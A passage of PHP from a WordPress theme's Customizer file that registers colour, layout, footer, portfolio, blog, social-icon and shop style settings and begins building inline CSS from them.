'rgba(3,9,13,0.2)', 'label' => esc_html__( 'Post Title Gradient Overlay Top', 'xion-progression' ), 'section' => 'progression-studios-blog-post-title', 'priority' => 700, )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting( 'progression_studios_post_title_overlay_color', array( 'default' => '#03090d', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_post_title_overlay_color', array( 'default' => '#03090d', 'label' => esc_html__( 'Post Title Gradient Overlay Bottom', 'xion-progression' ), 'section' => 'progression-studios-blog-post-title', 'priority' => 700, )) ); /* Setting - General - Page Title */ $wp_customize->add_setting( 'progression_studios_post_title_bg_image' ,array( 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Image_Control($wp_customize,'progression_studios_post_title_bg_image', array( 'label' => esc_html__( 'Post Title Background Image', 'xion-progression' ), 'section' => 'progression-studios-blog-post-options', 'priority' => 805, )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_post_index_meta_category_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_index_meta_category_display', array( 'label' => esc_html__( 'Category Display', 'xion-progression' ), 'section' => 'progression-studios-blog-post-options', 'priority' => 20, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_post_meta_author_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_meta_author_display', array( 'label' => esc_html__( 'Author Meta', 'xion-progression' ), 'section' => 'progression-studios-blog-post-options', 'priority' => 25, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_post_meta_date_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_meta_date_display', array( 'label' => esc_html__( 'Date Meta', 'xion-progression' ), 'section' => 'progression-studios-blog-post-options', 'priority' => 30, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_post_meta_comment_display' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_blog_post_meta_comment_display', array( 'label' => esc_html__( 'Comment Count Meta', 'xion-progression' ), 'section' => 'progression-studios-blog-post-options', 'priority' => 35, 'choices' => array( 'true' => esc_html__( 'Display', 'xion-progression' ), 'false' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting( 'progression_studios_button_font', array( 'default' => '#2b734a', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_button_font', array( 'label' => esc_html__( 'Button Font Color', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1635, )) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting( 'progression_studios_button_background', array( 'default' => '#5be492', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_button_background', array( 'label' => esc_html__( 'Button Background Color', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1640, )) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting( 'progression_studios_button_font_hover', array( 'default' => '#03090d', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_button_font_hover', array( 'label' => esc_html__( 'Button Hover Font Color', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1650, )) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting( 'progression_studios_button_background_hover', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_button_background_hover', array( 'label' => esc_html__( 'Button Hover Background Color', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1680, )) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting('progression_studios_button_font_size',array( 'default' => '13', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_button_font_size', array( 'label' => esc_html__( 'Button Font Size', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1700, 'choices' => array( 'min' => 4, 'max' => 30, 'step' => 1 ), ) ) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting('progression_studios_button_letter_spacing',array( 'default' => '0.04', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_button_letter_spacing', array( 'label' => esc_html__( 'Button Letter Spacing', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1710, 'choices' => array( 'min' => -2, 'max' => 2, 'step' => 0.01 ), ) ) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting('progression_studios_button_bordr_radius',array( 'default' => '3', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_button_bordr_radius', array( 'label' => esc_html__( 'Button Border Radius', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1750, 'choices' => array( 'min' => 0, 'max' => 50, 'step' => 1 ), ) ) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting('progression_studios_ionput_bordr_radius',array( 'default' => '0', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_ionput_bordr_radius', array( 'label' => esc_html__( 'Input Border Radius', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1750, 'choices' => array( 'min' => 0, 'max' => 30, 'step' => 1 ), ) ) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting( 'progression_studios_input_background', array( 'default' => 'rgba(255,255,255, 0)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_input_background', array( 'default' => 'rgba(255,255,255, 0)', 'label' => esc_html__( 'Form Input Background Color', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1790, )) ); /* Setting - Body - Button Styles */ $wp_customize->add_setting( 'progression_studios_input_border', array( 'default' => '#cdcece', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_input_border', array( 'default' => '#cdcece', 'label' => esc_html__( 'Form Input Border Color', 'xion-progression' ), 'section' => 'progression-studios-button-typography', 'priority' => 1790, )) ); /* Panel - Footer Top LEvel $wp_customize->add_panel( 'progression_studios_footer_panel', array( 'priority' => 11, 'title' => esc_html__( 'Footer', 'xion-progression' ), ) ); */ /* Section - General - General Layout */ $wp_customize->add_section( 'progression_studios_section_footer_section', array( 'title' => esc_html__( 'Footer', 'xion-progression' ), /* 'panel' => 'progression_studios_footer_panel',*/ // Not typically needed. 'priority' => 11, ) ); /* Setting - Footer Elementor https://gist.github.com/ajskelton/27369df4a529ac38ec83980f244a7227 */ $progression_studios_elementor_library_list = array( '' => 'Choose a template', ); $progression_studios_elementor_args = array('post_type' => 'elementor_library', 'posts_per_page' => 99); $progression_studios_elementor_posts = get_posts( $progression_studios_elementor_args ); foreach($progression_studios_elementor_posts as $progression_studios_elementor_post) { $progression_studios_elementor_library_list[$progression_studios_elementor_post->ID] = $progression_studios_elementor_post->post_title; } $wp_customize->add_setting( 'progression_studios_footer_elementor_library' ,array( 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( 'progression_studios_footer_elementor_library', array( 'type' => 'select', 'section' => 'progression_studios_section_footer_section', 'priority' => 5, 'label' => esc_html__( 'Footer Elementor Template', 'xion-progression' ), 'description' => esc_html__( 'You can add/edit your footer under ', 'xion-progression') . '<a href="' . admin_url() . 'edit.php?post_type=elementor_library">Elementor > Templates</a>', 'choices' => $progression_studios_elementor_library_list, ) ); /* Setting - Footer - Footer Main */ $wp_customize->add_setting( 'progression_studios_footer_background', array( 'default' => '#0e1419', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_footer_background', array( 'label' => esc_html__( 'Copyright Background', 'xion-progression' ), 'section' => 'progression_studios_section_footer_section', 'priority' => 501, 'active_callback' => function() use ( $wp_customize ) { return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value(); }, )) ); /* Setting - Footer - Copyright */ $wp_customize->add_setting( 'progression_studios_footer_copyright' ,array( 'default' => 'All Rights Reserved. Developed by Progression Studios', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control( 'progression_studios_footer_copyright', array( 'label' => esc_html__( 'Copyright Text', 'xion-progression' ), 'description' => esc_html__( 'This default text will be replaced if you use a template above.', 'xion-progression' ), 'section' => 'progression_studios_section_footer_section', 'type' => 'textarea', 'priority' => 10, 'active_callback' => function() use ( $wp_customize ) { return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value(); }, ) ); /* Setting - Footer - Copyright */ $wp_customize->add_setting( 'progression_studios_copyright_text_color', array( 'default' => 'rgba(255,255,255, 0.45)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_copyright_text_color', array( 'default' => 'rgba(255,255,255, 0.45)', 'label' => esc_html__( 'Copyright Text Color', 'xion-progression' ), 'section' => 'progression_studios_section_footer_section', 'priority' => 525, 'active_callback' => function() use ( $wp_customize ) { return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value(); }, )) ); /* Setting - Footer - Copyright */ $wp_customize->add_setting( 'progression_studios_copyright_link', array( 'default' => 'rgba(255,255,255, 0.75)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_copyright_link', array( 'default' => 'rgba(255,255,255, 0.75)', 'label' => esc_html__( 'Copyright Link Color', 'xion-progression' ), 'section' => 'progression_studios_section_footer_section', 'priority' => 530, 'active_callback' => function() use ( $wp_customize ) { return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value(); }, )) ); /* Setting - Footer - Copyright */ $wp_customize->add_setting( 'progression_studios_copyright_link_hover', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_copyright_link_hover', array( 'default' => '#ffffff', 'label' => esc_html__( 'Copyright Link Hover Color', 'xion-progression' ), 'section' => 'progression_studios_section_footer_section', 'priority' => 540, 'active_callback' => function() use ( $wp_customize ) { return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value(); }, )) ); /* Setting - Footer - Footer Icons */ $wp_customize->add_setting( 'progression_studios_footer_copyright_location' ,array( 'default' => 'footer-copyright-align-center', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_footer_copyright_location', array( 'label' => esc_html__( 'Copyright Text Alignment', 'xion-progression' ), 'section' => 'progression_studios_section_footer_section', 'priority' => 19, 'active_callback' => function() use ( $wp_customize ) { return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value(); }, 'choices' => array( 'footer-copyright-align-left' => esc_html__( 'Left', 'xion-progression' ), 'footer-copyright-align-center' => esc_html__( 'Center', 'xion-progression' ), 'footer-copyright-align-right' => esc_html__( 'Right', 'xion-progression' ), ), )) ); /* Setting - Footer - Footer Widgets */ $wp_customize->add_setting('progression_studios_copyright_margin_top',array( 'default' => '40', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_copyright_margin_top', array( 'label' => esc_html__( 'Copyright Padding Top', 'xion-progression' ), 'section' => 'progression_studios_section_footer_section', 'priority' => 20, 'active_callback' => function() use ( $wp_customize ) { return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value(); }, 'choices' => array( 'min' => 0, 'max' => 150, 'step' => 1 ), ) ) ); /* Setting - Footer - Footer Widgets */ $wp_customize->add_setting('progression_studios_copyright_margin_bottom',array( 'default' => '40', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_copyright_margin_bottom', array( 'label' => esc_html__( 'Copyright Padding Bottom', 'xion-progression' ), 'section' => 'progression_studios_section_footer_section', 'priority' => 22, 'active_callback' => function() use ( $wp_customize ) { return '' === $wp_customize->get_setting( 'progression_studios_footer_elementor_library' )->value(); }, 'choices' => array( 'min' => 0, 'max' => 150, 'step' => 1 ), ) ) ); /* Panel - Body */ $wp_customize->add_panel( 'progression_studios_portfolio_panel', array( 'priority' => 8, 'title' => esc_html__( 'Game/Portfolio', 'xion-progression' ), ) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_section( 'progression_studios_section_portfolio_index', array( 'title' => esc_html__( 'Game/Portfolio Options', 'xion-progression' ), 'panel' => 'progression_studios_portfolio_panel', // Not typically needed. 'priority' => 23, ) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_pagination' ,array( 'default' => 'load-more', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( 'progression_studios_blog_pagination', array( 'label' => esc_html__( 'Archive Pagination', 'xion-progression' ), 'section' => 'progression_studios_section_portfolio_index', 'type' => 'select', 'priority' => 3, 'choices' => array( 'default' => esc_html__( 'Default', 'xion-progression' ), 'infinite-scroll' => esc_html__( 'Infinite Scroll', 'xion-progression' ), 'load-more' => esc_html__( 'Load More Button', 'xion-progression' ), ), ) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting('progression_studios_blog_columns',array( 'default' => '3', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_blog_columns', array( 'label' => esc_html__( 'Archive Columns', 'xion-progression' ), 'section' => 'progression_studios_section_portfolio_index', 'priority' => 4, 'choices' => array( 'min' => 1, 'max' => 6, 'step' => 1 ), ) ) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting('progression_studios_media_posts_page',array( 'default' => '12', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_media_posts_page', array( 'label' => esc_html__( 'Archive Posts Per Page', 'xion-progression' ), 'section' => 'progression_studios_section_portfolio_index', 'priority' => 4, 'choices' => array( 'min' => 1, 'max' => 100, 'step' => 1 ), ) ) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting('progression_studios_blog_index_gap',array( 'default' => '12', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_blog_index_gap', array( 'label' => esc_html__( 'Archive Margins', 'xion-progression' ), 'section' => 'progression_studios_section_portfolio_index', 'priority' => 8, 'choices' => array( 'min' => 0, 'max' => 100, 'step' => 1 ), ) ) ); /* Section - Body - Blog Typography */ $wp_customize->add_setting( 'progression_studios_portfolio_border', array( 'default' => '#232930', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_portfolio_border', array( 'label' => esc_html__( 'Content Border', 'xion-progression' ), 'section' => 'progression-studios-portfolio-archives', 'priority' => 1500, )) ); /* Setting - Body - Page Title */ $wp_customize->add_setting('progression_studios_portfolio_title_padding_top',array( 'default' => '350', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_portfolio_title_padding_top', array( 'label' => esc_html__( 'Post Title Top Padding', 'xion-progression' ), 'section' => 'progression-studios-portfolio-post-title', 'priority' => 620, 'choices' => array( 'min' => 0, 'max' => 450, 'step' => 1 ), ) ) ); /* Setting - Body - Page Title */ $wp_customize->add_setting('progression_studios_portfolio_title_padding_bottom',array( 'default' => '25', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_portfolio_title_padding_bottom', array( 'label' => esc_html__( 'Post Title Bottom Padding', 'xion-progression' ), 'section' => 'progression-studios-portfolio-post-title', 'priority' => 630, 'choices' => array( 'min' => 0, 'max' => 450, 'step' => 1 ), ) ) ); /* Setting - General - Page Loader */ $wp_customize->add_setting( 'progression_studios_portfolio_related_posts' ,array( 'default' => 'true', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_portfolio_related_posts', array( 'label' => esc_html__( 'Display Related Posts?', 'xion-progression' ), 'section' => 'progression-studios-portfolio-post-title', 'priority' => 700, 'choices' => array( 'true' => esc_html__( 'On', 'xion-progression' ), 'false' => esc_html__( 'Off', 'xion-progression' ), ), )) ); /* Panel - Body */ $wp_customize->add_panel( 'progression_studios_blog_panel', array( 'priority' => 9, 'title' => esc_html__( 'Blog', 'xion-progression' ), ) ); /* Section - Body - Blog Typography */ $wp_customize->add_setting( 'progression_studios_blog_title_link', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_blog_title_link', array( 'label' => esc_html__( 'Default Title Color', 'xion-progression' ), 'section' => 'progression-studios-blog-headings', 'priority' => 5, )) ); /* Section - Body - Blog Typography */ $wp_customize->add_setting( 'progression_studios_blog_title_link_hover', array( 'default' => '#5be592', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control(new WP_Customize_Color_Control($wp_customize, 'progression_studios_blog_title_link_hover', array( 'label' => esc_html__( 'Default Title Hover Color', 'xion-progression' ), 'section' => 'progression-studios-blog-headings', 'priority' => 10, )) ); /* Section - Blog - Blog Index Post Options */ $wp_customize->add_setting( 'progression_studios_blog_content_border', array( 'default' => '#232930', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_blog_content_border', array( 'default' => '#232930', 'label' => esc_html__( 'Content Border', 'xion-progression' ), 'section' => 'progression-studios-blog-headings', 'priority' => 15, )) ); /* Setting - General - Page Loader */ $wp_customize->add_setting( 'progression_studios_icon_position' ,array( 'default' => 'header-top-hidden', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_icon_position', array( 'label' => esc_html__( 'Display Social Icons?', 'xion-progression' ), 'section' => 'progression_studios_section_header_icons_section', 'priority' => 2, 'choices' => array( 'default' => esc_html__( 'Nav', 'xion-progression' ), 'header-top-left' => esc_html__( 'Top Left', 'xion-progression' ), 'header-top-right' => esc_html__( 'Top Right', 'xion-progression' ), 'header-top-hidden' => esc_html__( 'Hidden', 'xion-progression' ), ), )) ); /* Setting - Header - Navigation */ $wp_customize->add_setting('progression_studios_social_icons_margintop',array( 'default' => '33', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_social_icons_margintop', array( 'label' => esc_html__( 'Icon Margin Top', 'xion-progression' ), 'section' => 'progression_studios_section_header_icons_section', 'priority' => 3, 'choices' => array( 'min' => 0, 'max' => 100, 'step' => 1 ), ) ) ); /* Setting - Header - Navigation */ $wp_customize->add_setting('progression_studios_social_icons_font_size',array( 'default' => '17', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control( new progression_studios_Controls_Slider_Control($wp_customize, 'progression_studios_social_icons_font_size', array( 'label' => esc_html__( 'Icon Font Size', 'xion-progression' ), 'section' => 'progression_studios_section_header_icons_section', 'priority' => 4, 'choices' => array( 'min' => 0, 'max' => 100, 'step' => 1 ), ) ) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_social_icons_color', array( 'default' => '#787e8a', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_social_icons_color', array( 'default' => '#787e8a', 'label' => esc_html__( 'Icon Color', 'xion-progression' ), 'section' => 'progression_studios_section_header_icons_section', 'priority' => 5, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_social_icons_bg', array( 'default' => 'rgba(255,255,255, 0)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_social_icons_bg', array( 'default' => 'rgba(255,255,255, 0)', 'label' => esc_html__( 'Icon Background', 'xion-progression' ), 'section' => 'progression_studios_section_header_icons_section', 'priority' => 7, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_social_icons_hover_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_social_icons_hover_color', array( 'default' => '#ffffff', 'label' => esc_html__( 'Icon Hover Color', 'xion-progression' ), 'section' => 'progression_studios_section_header_icons_section', 'priority' => 10, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_social_icons_hover_bg', array( 'default' => 'rgba(255,255,255, 0)', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_social_icons_hover_bg', array( 'default' => 'rgba(255,255,255, 0)', 'label' => esc_html__( 'Icon Hover Background', 'xion-progression' ), 'section' => 'progression_studios_section_header_icons_section', 'priority' => 12, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_related_products' ,array( 'default' => 'none', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_related_products', array( 'label' => esc_html__( 'Related Products', 'xion-progression' ), 'section' => 'progression-studios-shop-styles', 'priority' => 10, 'choices' => array( 'block' => esc_html__( 'Show', 'xion-progression' ), 'none' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_related_products_sub_title' ,array( 'default' => 'block', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_related_products_sub_title', array( 'label' => esc_html__( 'Related Products Sub-title', 'xion-progression' ), 'section' => 'progression-studios-shop-styles', 'priority' => 11, 'choices' => array( 'block' => esc_html__( 'Show', 'xion-progression' ), 'none' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_shop_index_bg', array( 'default' => '#03090d', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_shop_index_bg', array( 'default' => '#03090d', 'label' => esc_html__( 'Shop Index Background', 'xion-progression' ), 'section' => 'progression-studios-shop-index-styles', 'priority' => 5, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_shop_index_brder', array( 'default' => '#232930', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_shop_index_brder', array( 'default' => '#232930', 'label' => esc_html__( 'Shop Index Border', 'xion-progression' ), 'section' => 'progression-studios-shop-index-styles', 'priority' => 6, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_star_rating', array( 'default' => '#909395', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_star_rating', array( 'default' => '#909395', 'label' => esc_html__( 'Shop Rating Color', 'xion-progression' ), 'section' => 'progression-studios-shop-index-styles', 'priority' => 8, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_category_display' ,array( 'default' => 'block', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_category_display', array( 'label' => esc_html__( 'Display Shop Category', 'xion-progression' ), 'section' => 'progression-studios-shop-index-styles', 'priority' => 700, 'choices' => array( 'block' => esc_html__( 'Show', 'xion-progression' ), 'none' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_category_count' ,array( 'default' => 'none', 'sanitize_callback' => 'progression_studios_sanitize_choices', ) ); $wp_customize->add_control(new progression_studios_Controls_Radio_Buttonset_Control($wp_customize, 'progression_studios_category_count', array( 'label' => esc_html__( 'Category Count', 'xion-progression' ), 'section' => 'progression-studios-shop-index-styles', 'priority' => 700, 'choices' => array( 'block' => esc_html__( 'Show', 'xion-progression' ), 'none' => esc_html__( 'Hide', 'xion-progression' ), ), )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_shop_post_tab_highlight', array( 'default' => '#ffffff', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_shop_post_tab_highlight', array( 'default' => '#ffffff', 'label' => esc_html__( 'Shop Post Tab Highlight', 'xion-progression' ), 'section' => 'progression-studios-shop-styles', 'priority' => 2500, )) ); /* Setting - Header - Header Options */ $wp_customize->add_setting( 'progression_studios_shop_post_base_background', array( 'default' => '#03090d', 'sanitize_callback' => 'progression_studios_sanitize_customizer', ) ); $wp_customize->add_control(new Progression_Studios_Revised_Alpha_Color_Control($wp_customize, 'progression_studios_shop_post_base_background', array( 'default' => '#03090d', 'label' => esc_html__( 'Shop Post Tab Background', 'xion-progression' ), 'section' => 'progression-studios-shop-styles', 'priority' => 2550, )) ); } add_action( 'customize_register', 'progression_studios_customizer' ); //HTML Text function progression_studios_sanitize_customizer( $input ) { return wp_kses( $input, TRUE); } //no-HTML text function progression_studios_sanitize_choices( $input ) { return wp_filter_nohtml_kses( $input ); } function progression_studios_customizer_styles() { global $post; //https://codex.wordpress.org/Function_Reference/wp_add_inline_style wp_enqueue_style( 'progression-studios-custom-style', get_template_directory_uri() . '/css/progression_studios_custom_styles.css' ); if ( get_theme_mod( 'progression_studios_header_bg_image') ) { $progression_studios_header_bg_image = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_header_bg_image' ) ) . ");"; } else { $progression_studios_header_bg_image = ""; } if ( get_theme_mod( 'progression_studios_top_header_bg_image') ) { $progression_studios_top_header_bg_image = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_top_header_bg_image' ) ) . ");"; } else { $progression_studios_top_header_bg_image = ""; } if ( get_theme_mod( 'progression_studios_header_bg_image_image_position', 'cover') == 'cover' ) { $progression_studios_top_header_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover;"; } else { $progression_studios_top_header_bg_cover = "background-repeat:repeat-all; "; } if ( get_theme_mod( 'progression_studios_sub_nav_border_top') ) { $progression_studios_sub_nav_brder_top = "ul#progression-studios-panel-login, #progression-checkout-basket, #panel-search-progression, .sf-menu ul {border-top:3px solid " . esc_attr( get_theme_mod('progression_studios_sub_nav_border_top', '#00da97') ) . "; }"; } else { $progression_studios_sub_nav_brder_top = ""; } if ( get_theme_mod( 'progression_studios_top_header_sub_border_top', '#179ef4') ) { $progression_studios_top_header_sub_nav_brder_top = "#xion-progression-header-top .sf-menu ul {border-top:3px solid " . esc_attr( get_theme_mod('progression_studios_top_header_sub_border_top', '#00da97') ) . "; }"; } else { $progression_studios_top_header_sub_nav_brder_top = ""; } if ( get_theme_mod( 'progression_studios_header_bg_image_image_position', 'cover') == 'cover' ) { $progression_studios_header_bg_cover = "background-repeat: no-repeat; background-position:center center; background-size: cover;"; } else { $progression_studios_header_bg_cover = "background-repeat:repeat-all; "; } if ( get_theme_mod( 'progression_studios_body_bg_image') ) { $progression_studios_body_bg = "background-image:url(" . esc_attr( get_theme_mod( 'progression_studios_body_bg_image') ). ");"; } else { 